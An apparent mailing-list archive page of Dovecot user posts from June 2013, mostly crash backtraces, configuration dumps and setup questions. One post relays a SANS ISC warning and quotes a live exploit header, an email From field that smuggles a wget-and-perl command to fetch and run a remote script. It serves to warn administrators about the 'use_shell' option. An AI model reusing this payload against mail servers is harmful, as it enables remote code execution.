0x7f305d71e70b "", mailbox_dir_name = 0x7f305d71e70b "", escape_char = 0 '\000', broken_char = 0 '\000', utf8 = false, alt_dir_nocheck = false} list_flags = <optimized out> p = <optimized out> __FUNCTION__ = "mail_storage_create_full" #4 0x00007f305d6c4b7e in mail_storage_create (ns=ns@entry=0x12673f0, driver=driver@entry=0x7f305d7263a4 "raw", flags=flags@entry=0, error_r=error_r@entry=0x7fff92c0d338) at mail-storage.c:407 storage = 0x7f305dd87a38 #5 0x00007f305d6bd605 in raw_storage_create_from_set (set_info=<optimized out>, set=<optimized out>) at raw-storage.c:48 user = 0x126d7f0 ns = 0x12673f0 ns_set = 0x126f2e0 mail_set = <optimized out> error = 0x0 #6 0x0000000000405762 in client_raw_user_create (client=<optimized out>) at client.c:150 sets = <optimized out> #7 client_create (fd_in=12, fd_out=12, conn=<optimized out>) at client.c:242 client = 0x1267f10 pool = 0x1267ef0 #8 0x00007f305d3a8740 in master_service_listen (l=0x1266120) at master-service.c:826 service = 0x12625a0 conn = {fd = 12, listen_fd = 8, name = 0x1262905 "dovecot-lmtp", remote_ip = {family = 0, u = {ip6 = {__in6_u = {__u6_addr8 = '\000' <repeats 15 times>, __u6_addr16 = {0, 0, 0, 0, 0, 0, 0, 0}, __u6_addr32 = {0, 0, 0, 0}}}, ip4 = {s_addr = 0}}}, remote_port = 0, fifo = 0, ssl = 0, accepted = 1} #9 0x00007f305d3f2996 in io_loop_call_io (io=0x12661c0) at ioloop.c:387 ioloop = 0x1262710 t_id = 2 #10 0x00007f305d3f3807 in io_loop_handler_run (ioloop=ioloop@entry=0x1262710) at ioloop-epoll.c:215 ctx = 0x1265540 events = 0x0 event = 0x12655b0 list = 0x1266210 io = <optimized out> tv = {tv_sec = 2147483, tv_usec = 0} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #11 0x00007f305d3f24d8 in io_loop_run (ioloop=0x1262710) at ioloop.c:406 No locals. ---Type <return> to continue, or q <return> to quit--- #12 0x00007f305d3a8013 in master_service_run (service=0x12625a0, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #13 0x0000000000404c24 in main (argc=1, argv=0x1262390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 675 c = <optimized out>

2 2

[Dovecot] lmpt-service crash after update
by listserv 09 Jun '13

09 Jun '13

Hello, since the last update today without a change on the config, the lmtp-service crash with the follow messages: -------- Jun 9 13:16:43 kobe kernel: lmtp[25881]: segfault at 4 ip b7568e83 sp bfbe01b0 error 4 in libdovecot.so.0.0.0[b750c000+c6000] -------- Jun 9 13:16:43 kobe dovecot: lmtp(25881): Fatal: master: service(lmtp): child 25881 killed with signal 11 (core dumped) -------- GNU gdb (GDB) 7.6-debian Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/lib/dovecot/lmtp...(no debugging symbols found)...done. [New LWP 25823] warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". Core was generated by `dovecot/lmtp'. Program terminated with signal 11, Segmentation fault. #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 (gdb) bt full #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 No symbol table info available. #1 0xb76821cb in mail_namespace_add_storage () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #2 0xb76885ed in mail_storage_create_full () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #3 0xb76889a5 in mail_storage_create () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #4 0xb76802f5 in raw_storage_create_from_set () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #5 0x0804c578 in client_create () No symbol table info available. #6 0x0804bbf2 in _start () No symbol table info available. (gdb) ---------- doveconf -n # 2.2.2 (266101990d63): /etc/dovecot/dovecot.conf # OS: Linux 3.2.28.stk32 i686 Debian jessie/sid ext3 auth_debug = yes auth_debug_passwords = yes auth_mechanisms = digest-md5 cram-md5 auth_username_translation = %Lu auth_verbose = yes auth_verbose_passwords = plain dict { expire = db:/var/lib/dovecot/expire.db } hostname = kobe.vtlx.cn mail_attachment_dir = /var/mail/attachment mail_debug = yes mail_gid = vmail mail_home = /var/mail/vhosts/%Ld/%Ln mail_location = sdbox:/var/mail/vhosts/%Ld/%Ln:DIRNAME=DbOx-mAiLs mail_plugins = " quota mail_log notify expire zlib" mail_privileged_group = vmail mail_uid = vmail mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / subscriptions = yes type = private } passdb { args = scheme=PLAIN username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/mail/shared-db/shared-mailboxes expire = Trash 2h expire_dict = proxy::expire mail_log_events = delete undelete copy mailbox_delete mailbox_rename expunge save mailbox_create mail_log_fields = uid box msgid size quota = dict:User quota::file:/var/mail/vhosts/%Ld/%Ln/dovecot-quota quota_exceeded_message = Die Mailbox des Empfaengers ist voll -- Quota exceeded -- Please contact <postmaster(a)xtlv.cn> quota_grace = 10%% quota_rule = *:storage=30M quota_rule2 = Trash:storage=+10%% quota_status_nouser = DUNNO quota_status_overquota = "552 5.5.2 Die Mailbox des Empfaengers ist voll ## Quota exceeded ## Please contact <postmaster(a)xtlv.cn>" quota_status_success = DUNNO quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=90%% quota-warning 90 %u quota_warning3 = storage=85%% quota-warning 85 %u quota_warning4 = storage=80%% quota-warning 80 %u quota_warning5 = storage=70%% quota-warning 70 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)xtlv.cn protocols = " imap lmtp sieve pop3" rejection_reason = Your message to <%t> was automatically rejected:%n%r [TEST] service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } } service config { unix_listener config { mode = 0600 user = vmail } } service dict { unix_listener dict { mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { address = 84.38.75.143 port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { address = 84.38.75.143 port = 4190 } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { address = 84.38.75.143 port = 995 ssl = yes } } service quota-status { client_limit = 1 executable = quota-status -p postfix unix_listener /var/spool/postfix/private/quota-status { group = postfix mode = 0660 user = postfix } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { group = vmail mode = 0660 user = vmail } user = root } ssl_ca = </etc/dovecot/keys/ca.crt ssl_cert = </etc/dovecot/keys/mx01-dov.pem ssl_key = </etc/dovecot/keys/mx01-dov.key userdb { args = username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } protocol lmtp { mail_plugins = " quota mail_log notify expire zlib quota sieve" } protocol lda { mail_plugins = " quota mail_log notify expire zlib sieve" } protocol imap { mail_plugins = " quota mail_log notify expire zlib imap_quota" } protocol pop3 { mail_plugins = " quota mail_log notify expire zlib quota" } I hope the infos helps to solve this problem. many thanks, Mario -- 中華人民共和國

1 0

[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

2 1

[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

2 1

[Dovecot] search and UTF-8 normalization forms (NFD)
by Lutz Preßler 09 Jun '13

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

3 7

[Dovecot] Question on Director setup
by Joe Wong 07 Jun '13

07 Jun '13

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

1 0

[Dovecot] Dovecot IMAP
by Alex Dubinin 07 Jun '13

07 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = MY_IP log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" } How to make the imap folders 'sent', 'trash' and others were not affiliated? P.S. Sorry for my english.

3 2

[Dovecot] v2.2.2 (e5bd0a7c6a1e) Core Dump
by Thomas Leuxner 07 Jun '13

07 Jun '13

(gdb) bt full #0 mailbox_list_default_get_vname (list=0x21ceec0, storage_name=0x0) at mailbox-list.c:655 __s2_len = <optimized out> i = <optimized out> prefix_len = <optimized out> name_len = <optimized out> vname = 0x0 list_sep = <optimized out> ns_sep = <optimized out> ret = <optimized out> #1 0x00007fecd7cf4585 in acl_backend_vfile_get_local_dir (name=0x0, name@entry=0x7fecd7cfada8 "", backend=<error reading variable: Unhandled dwarf expression opcode 0xfa>) at acl-backend-vfile.c:147 ns = 0x21ca6d0 list = 0x21ceec0 storage = <optimized out> type = <optimized out> dir = <optimized out> inbox = <optimized out> vname = <optimized out> error = 0x221a100 "\320\"\035\002" #2 0x00007fecd7cf470e in acl_backend_vfile_object_init (_backend=0x21d22d0, name=0x7fecd7cfada8 "") at acl-backend-vfile.c:195 _data_stack_cur_id = 6 backend = 0x21d22d0 aclobj = 0x221a100 dir = <optimized out> vname = <optimized out> #3 0x00007fecd7cf3c8e in acl_backend_get_default_object (backend=backend@entry=0x21d22d0) at acl-backend.c:177 user = 0x21caeb0 ns = 0x21ca6d0 default_name = <optimized out> #4 0x00007fecd7cf3cce in acl_backend_get_default_rights (backend=0x21d22d0, mask_r=mask_r@entry=0x7fffc5835d78) at acl-backend.c:184 aclobj = <optimized out> #5 0x00007fecd7cf9c51 in acl_mailbox_try_list_fast (ctx=0x221b4b0) at acl-mailbox-list.c:107 alist = 0x21cf1a8 nonowner_list_ctx = <optimized out> ret = <optimized out> backend = <optimized out> idxp = 0x21cf278 acl_mask = 0x0 ns = 0x21ca6d0 update_ctx = {iter_ctx = 0x1, tree_ctx = 0x7fecd90aa548, glob = 0x6, leaf_flags = 35726664, parent_flags = 0, update_only = 0, match_parents = 0} name = <optimized out> #6 acl_mailbox_list_iter_init (list=0x21ceec0, patterns=0x21d92f8, flags=49152) at acl-mailbox-list.c:194 _data_stack_cur_id = 5 alist = 0x21cf1a8 ctx = 0x221b4b0 pool = <optimized out> p = <optimized out> i = <optimized out> inboxcase = <optimized out> #7 0x00007fecd8c0c09d in mailbox_list_iter_init_multiple (list=0x21ceec0, patterns=<optimized out>, flags=49152) at mailbox-list-iter.c:173 ctx = <optimized out> ret = 0 #8 0x00007fecd8c0d35b in mailbox_list_ns_iter_try_next (info_r=<synthetic pointer>, _ctx=0x21d9020) at mailbox-list-iter.c:574 ctx = 0x21d9020 info = <optimized out> errstr = <optimized out> has_children = <optimized out> ns = <optimized out> error = 4294967295 #9 mailbox_list_ns_iter_next (_ctx=0x21d9020) at mailbox-list-iter.c:645 info = <optimized out> #10 0x00007fecd8c0bd17 in mailbox_list_iter_next_call (ctx=ctx@entry=0x21d9020) at mailbox-list-iter.c:941 info = <optimized out> set = <optimized out> #11 0x00007fecd8c0c9a8 in mailbox_list_iter_next (ctx=0x21d9020) at mailbox-list-iter.c:1012 _data_stack_cur_id = 4 info = <optimized out> #12 0x000000000040f209 in cmd_list_continue (cmd=cmd@entry=0x21ddf40) at cmd-list.c:229 ctx = 0x21de188 info = <optimized out> flags = <optimized out> str = 0x21af518 mutf7_name = 0x21af668 name = <optimized out> ret = <optimized out> #13 0x000000000040fa4f in cmd_list_full (cmd=0x21ddf40, lsub=<optimized out>) at cmd-list.c:463 client = <optimized out> args = 0x21bab18 list_args = 0x21ddf40 arg_count = <optimized out> ctx = 0x21de188 patterns = {arr = {buffer = 0x21de1c8, element_size = 8}, v = 0x21de1c8, v_modifiable = 0x21de1c8} ref = 0x21de1b8 "" pattern = 0x21de1c0 "%" patterns_strarr = 0x21de200 str = <optimized out> #14 0x000000000041675c in command_exec (cmd=cmd@entry=0x21ddf40) at imap-commands.c:156 hook = 0x21b8d90 ret = <optimized out> #15 0x00000000004157c0 in client_command_input (cmd=0x21ddf40) at imap-client.c:775 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #16 0x000000000041587a in client_command_input (cmd=0x21ddf40) at imap-client.c:836 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #17 0x0000000000415b35 in client_handle_next_command (remove_io_r=<synthetic pointer>, client=0x21dd360) at imap-client.c:874 No locals. #18 client_handle_input (client=client@entry=0x21dd360) at imap-client.c:886 _data_stack_cur_id = 3 ret = 32 remove_io = false handled_commands = false __FUNCTION__ = "client_handle_input" #19 0x0000000000415ee2 in client_input (client=0x21dd360) at imap-client.c:928 cmd = <optimized out> output = 0x21ddd78 bytes = 19 __FUNCTION__ = "client_input" #20 0x00007fecd8922d06 in io_loop_call_io (io=0x21dde40) at ioloop.c:387 ioloop = 0x21b7720 t_id = 2 #21 0x00007fecd8923b77 in io_loop_handler_run (ioloop=ioloop@entry=0x21b7720) at ioloop-epoll.c:215 ctx = 0x21b7a90 events = 0x21ca6d0 event = 0x21b7b00 list = 0x21dde90 io = <optimized out> tv = {tv_sec = 3, tv_usec = 876580} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fecd8922848 in io_loop_run (ioloop=0x21b7720) at ioloop.c:406 No locals. #23 0x00007fecd88d8b53 in master_service_run (service=0x21b75b0, callback=callback@entry=0x41ed00 <client_connected>) at master-service.c:560 No locals. #24 0x000000000040baf8 in main (argc=1, argv=0x21b7390) at main.c:400 set_roots = {0x4262e0, 0x0} login_set = {auth_socket_path = 0x21af040 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x41ebb0 <login_client_connected>, failure_callback = 0x41e8c0 <login_client_failed>, request_auth_token = 1} service_flags = <optimized out> storage_service_flags = <optimized out> username = 0x0 c = <optimized out>

1 1

[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment? Thanks. <BR CLEAR="ALL"> <hr style="border: 1px solid #CCC;"> <p style="font-style:italic; font-size:8pt; font-family:verdana; color:gray;">This document and attachments may contain technical data controlled under the U.S. International Traffic in Arms Regulations (ITAR) or the Export Administration Regulations (EAR) and may not be exported to a Foreign Person, either in the U.S. or abroad, without the proper authorization by the U.S. Department of State or Department of Commerce, whichever is applicable. CONFIDENTIALITY NOTE: This electronic transmission, including all attachments, is directed in confidence solely to the person(s) to whom it is addressed, or an authorized recipient, and may not otherwise be distributed, copied or disclosed. The contents of the transmission may also be subject to intellectual property rights and such rights are expressly claimed and are not waived. If you have received this transmission in error, please notify the sender immediately by return electronic transmission and then immediately delete this transmission, including all attachments, without copying, distributing or disclosing same. The recipient should check this e-mail and any attachments for the presence of viruses. Houston Sigma Technologies L.P. accepts no liability for any damage caused by any virus transmitted by this e-mail.</p>

6 8

[Dovecot] Dovecot mysql replication
by Edwardo Garcia 06 Jun '13

06 Jun '13

Halo, (First time posting, please forgive English is not native) Change from Courier to Dovecot 2.1.16 Having two server. Having mysql on thiz two server, one master, one slave. What we wish is slave Dovecot only ask slave mysql, unless slave mysql not work when then ask master, we have Postfix do thiz fallover good, but Dovecot talk to slave and master no mater what, we think thiz defeat fallover as we not want this aktion, but aktion like Postfix. The problemo is can not find Dovecot option for thiz in wiki2.dovecot.org, is possible?

9 26

[Dovecot] Error: Threading lost Message ID
by Oscar A. Jara 05 Jun '13

05 Jun '13

Hello everyone, I have just put in production dovecot imap and pop3 in replacement of courier in a setup of 700 accounts aprox. Dovecot release running is 1.2.16 in a Linux CentOS 5.8. Seems like some accounts are having problems dealing with message threading, as I read lines like this one in my logs: IMAP(some_user): Error: Threading lost Message ID ...and some of those accounts cannot even list the emails. I temporarily got rid of this problem deactivating threading on those accounts but I would like to solve it. I found a patch that seams to deal with this problem at http://hg.dovecot.org/dovecot-1.2/rev/76023d59c3b2 but it would be weird that CentOS wouldn't have release a patched version of the package. Am I missing something here? Thanks in advance! __________ Information from ESET Mail Security, version of virus signature database 8412 (20130604) __________ The message was checked by ESET Mail Security. http://www.eset.com

2 3

[Dovecot] Crash dovecot 1.2.15
by ib 05 Jun '13

05 Jun '13

Hi everybody We have a probleme with dovecot Jun 05 06:26:01 dovecot: Warning: SIGHUP received - reloading configuration Jun 05 06:26:02 dovecot: Error: Raw backtrace: /usr/sbin/dovecot() [0x41348a] -> /usr/sbin/dovecot() [0x413584] -> /usr/sbin/dovecot() [0x40b290] -> /usr/sbin/dovecot() [0x412bf6] -> /usr/sbin/dovecot() [0x405c9a] -> /usr/sbin/dovecot() [0x416f3d] -> /usr/sbin/dovecot() [0x4163b8] -> /usr/sbin/dovecot() [0x40bb39] -> /lib/libc.so.6(__libc_start_main+0xfd) [0x7f2bad861c8d] -> /usr/sbin/dovecot() [0x403859] Jun 05 07:58:09 dovecot: Info: Dovecot v1.2.15 starting up (core dumps disabled) -- Cordialement, <http://www.ice-dev.com> *Ivan BERTHELOT* Administrateur Réseaux ICE DEVELOPMENT 16 rue Maurice Bouchor Tel : 08 21 23 03 54 http://www.ice-dev.com

2 1

Re: [Dovecot] dovecot and time
by Rick Romero 05 Jun '13

05 Jun '13

I found something interesting via strace. lda is writing a timestamp with utime before doign the fsync, but I'm really not a C guy, so I have no idea why that's going on via procmail and not via commandline. I assume it's related to the choice of pread64 vs read. when called from commandline (working): read(0, "July 14-20, 2013\n10 courses. Bon"..., 4096) = 4096 read(0, "s bigger\nthan most realistic cyb"..., 4096) = 4096 read(0, "olina company in\nnumerous small,"..., 4096) = 4096 read(0, "on't have any way to tell you\". "..., 4096) = 4096 read(0, "rer. This version of Chrome addr"..., 4096) = 4096 read(0, "edu.\n\nDr. Johannes Ullrich is Ch"..., 4096) = 3164 read(0, "", 932) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370448645.M589211P14191.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1568768, ...}) = 0 mmap2(NULL, 1568768, PROT_READ, MAP_SHARED, 12, 0) = 0xb7064000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 write(11, "Return-Path: <newsbites(a)sans.org"..., 8192) = 8192 write(11, "s bigger\nthan most realistic cyb"..., 8192) = 8192 write(11, "on't have any way to tell you\". "..., 11356) = 11356 fstat64(11, {st_mode=S_IFREG|0600, st_size=27740, ...}) = 0 fsync(11) = 0 _llseek(11, 0, [27740], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370448645 umask(0177) = 077 when called from procmail (not working): pread64(10, "00.vfemail.net,S=10941\n968 W2552"..., 4064, 52993) = 4064 pread64(10, "53 :1361943010.39085.mx100.vfema"..., 4087, 57057) = 4087 pread64(10, " :1364597743.43999.mx100.vfemail"..., 4085, 61144) = 4085 pread64(10, "mx100.vfemail.net,S=15951\n17287 "..., 4065, 65229) = 4065 pread64(10, "637P32360.smtp101.vfemail.net,S="..., 4074, 69294) = 3967 pread64(10, "", 107, 73261) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1575936, ...}) = 0 mmap2(NULL, 1575936, PROT_READ, MAP_SHARED, 12, 0) = 0xb70b0000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 read(0, "", 1127) = 0 write(11, "Return-Path: <dovecot-bounces@do"..., 2911) = 2911 utime("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", [2013/06/05-16:32:20, 2013/06/05-21:32:18]) = fsync(11) = 0 _llseek(11, 0, [2911], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370449940 umask(0177) = 077 Should I attach full traces? They're 32k and 64k respectively. Sorry about the lack of threading, I had my subscription off and didn't get a copy to reply to :/ Rick

2 2

[Dovecot] 400 Bad Request response from pigeonhole.dovecot.org
by ben＠indietorrent.org 05 Jun '13

05 Jun '13

I'm attempting to access the Pigeonhole documentation but am receiving a 400 Bad Request response from http://pigeonhole.dovecot.org/ . Is this expected? If so, has the documentation moved? Thanks for any help! -Ben

2 2

[Dovecot] partionning users among backends
by Emmanuel Dreyfus 05 Jun '13

05 Jun '13

Hi I face growing load on a mailserver, and I would like to spread the load on multiple machines. I made a first attempt with dsync but got burnt with issues with mbox, therefore now I am looking for another safer approach. Partitionning users on multiple backends would address my load problem. I would have 50% of users on mail1.example.net and 50% on mail2.example.net, but I need to correctly redirect users requests, as their mail user agents only know about mail.example.net. Is dovecot able to send request to the local machine or to proxy them to another one, depending on information it would have on user mailboxes location? If it does, do we have documentation on this? -- Emmanuel Dreyfus manu(a)netbsd.org

2 1

[Dovecot] Bad exit status from dsync
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

I just tried to migrate one of my users from maildir to mdbox using dsync. My conversion script is checking the dsync exit code to know if the conversion goes fine or not, and surprisingly dsync returned "0" at the same time as it gave the error: Error: Failed to sync mailbox .ta\ vare\ på ... (sorry, lost the rest of the error message) Changing the folder name to mUTF7 manually made it work, but I didn't like that dsync returned success when it got this error. That breaks the failsafe logic in my conversion script. Dovecot version dovecot-ee-2.1.16.3-1, x86_64, RHEL5. Dsync command used: dsync -v -u username(a)example.net mirror maildir:/usr/local/atmail/users/u/s/username@example.net With these dovecot.conf settings: mail_home = /srv/mailstore/%256LRHu/%Ld/%Ln mail_location = mdbox:~/mdbox -jf

2 1

[Dovecot] Dovecot and time (again)
by Rick Romero 05 Jun '13

05 Jun '13

I'm rehashing/reliving my issues from 2010: http://www.dovecot.org/list/dovecot/2010-October/053528.html In short, when calling deliver from vdelivermail (or procmail), and delivering via NFS to Maildir, the timestamp on the file is GMT. If procmail or vdelivermail completely handle the email, the timestamp is CST. The server is set to CST. What's changed from the original issue? Previously was running dovecot 1.x on FreeBSD, now 2.1.7 on Debian 7. I know it's a few versions behind, but this is a deliver only server, and ChangeLog doesn't show too many fixes for lda. Of course, running the command from the command line works perfectly... So where could my problem reside? Two examples: 1st via Calling from procmail: :0 * ? test -f /usr/lib/dovecot/dovecot-lda { :0w |/usr/lib/dovecot/deliver -d $EXT@$HOST } -rw------- 1 vpopmail vchkpw 87196 Jun 5 13:43 1370439849.M812P29560.smtp101,S=87196,W=88094 2nd via Commandline: #sudo -u vpopmail cat /tmp/testmail.txt | /usr/lib/dovecot/deliver -d rick(a)havokmon.com -rw------- 1 vpopmail vchkpw 27740 Jun 5 08:46 1370440001.M421646P29846.smtp101,S=27740,W=28243 I've thrown the TZ variable in the mix as well with no resolution |/usr/bin/env -i TZ=CST /usr/lib/dovecot/deliver -d $EXT@$HOST |/usr/bin/env -i TZ=America/Chicago /usr/lib/dovecot/deliver -d $EXT@$HOST I've also set import_environment = TZ , but it doesn't seem to show in dovecot -n ... Any other thoughts? Side note - deliver behavior has changed since 1.x. I used to be able to specifiy the HOME directory, but now deliver requires the -d parameter, so I've had to setup an Auth server where I didn't have to in the past. Am I the only one who doesn't run my servers in GMT? I seem to only find my own posts when searching on this :) Rick

2 1

